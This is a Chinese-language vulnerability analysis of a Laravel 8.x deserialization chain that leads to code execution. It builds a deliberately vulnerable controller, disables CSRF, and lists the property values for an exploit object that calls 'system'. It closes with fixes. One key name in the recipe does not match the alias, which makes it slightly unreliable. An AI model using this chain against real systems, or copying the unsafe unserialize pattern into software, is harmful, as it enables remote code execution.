最新Laravel(8.x)反序列化漏洞
字数 927 2025-08-24 23:51:20
Laravel 8.x 反序列化漏洞分析与利用
漏洞概述
Laravel 8.x 版本中存在一个反序列化漏洞,攻击者可以通过精心构造的序列化数据在目标系统上执行任意代码。该漏洞利用链涉及多个Laravel核心类的不安全反序列化操作。
环境搭建
- 使用Composer安装最新版Laravel:
composer create-project --prefer-dist laravel/laravel laravel
- 在
app/Http/Controllers中添加Test控制器,包含反序列化点:
// 示例反序列化点代码
public function index(Request $request) {
unserialize(base64_decode($request->input('data')));
}
- 在
routes/web.php中添加路由:
Route::get('/test', [TestController::class, 'index']);
- 注释掉
app/Kernel.php中关于CSRF验证的部分(第38行)
漏洞分析
利用链
完整的利用链如下:
Illuminate\Testing\PendingCommand->__destruct()
↓
Illuminate\Testing\PendingCommand->run()
↓
Illuminate\Container\Container->make()
↓
Illuminate\Container\Container->resolve()
关键点分析
- 命令执行点:
Illuminate\Container\Container->resolve()方法中,当$extender与$object可控时,可以进行代码执行:
protected function resolve($abstract, $parameters = [], $raiseEvents = true) {
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this); // 关键执行点
}
return $object;
}
- 链首触发点:
Illuminate\Testing\PendingCommand->__destruct()方法会在对象销毁时自动调用:
public function __destruct() {
if ($this->hasExecuted) {
return;
}
$this->run(); // 触发后续利用链
}
-
参数控制:
- 通过
$this->aliases控制$abstract的值 - 通过
$this->extenders控制回调函数 - 通过
$this->instances控制命令参数
- 通过
-
绕过限制:
- 需要设置
$this->hasExecuted = false以触发run()方法 - 需要设置
$this->test为一个拥有expectedOutput属性的对象(如ExampleTest类)
- 需要设置
EXP构造
完整的EXP需要设置以下属性:
Illuminate\Testing\PendingCommand类:
$this->hasExecuted = false;
$this->app = Illuminate\Container\Container对象;
$this->test = ExampleTest对象; // 用于绕过mockConsoleOutput检查
Illuminate\Container\Container类:
$this->aliases = [Kernel::class => "4ny0ne"];
$this->bindings = ["4ny0ne" => ["concrete" => "4ut15m"]];
$this->instances = ["4ut15m" => "要执行的命令"];
$this->extenders = ["4nyone" => "system"]; // 回调函数
漏洞修复
- 升级到Laravel最新版本
- 避免反序列化用户可控的数据
- 保持CSRF保护机制启用
- 使用安全的反序列化方法或白名单机制
总结
该漏洞利用Laravel框架中多个类的相互调用关系,通过精心构造的序列化数据实现任意代码执行。理解该漏洞需要对PHP反序列化机制和Laravel框架内部实现有深入了解。开发者应当避免反序列化不可信的数据源,并及时更新框架版本以修复已知漏洞。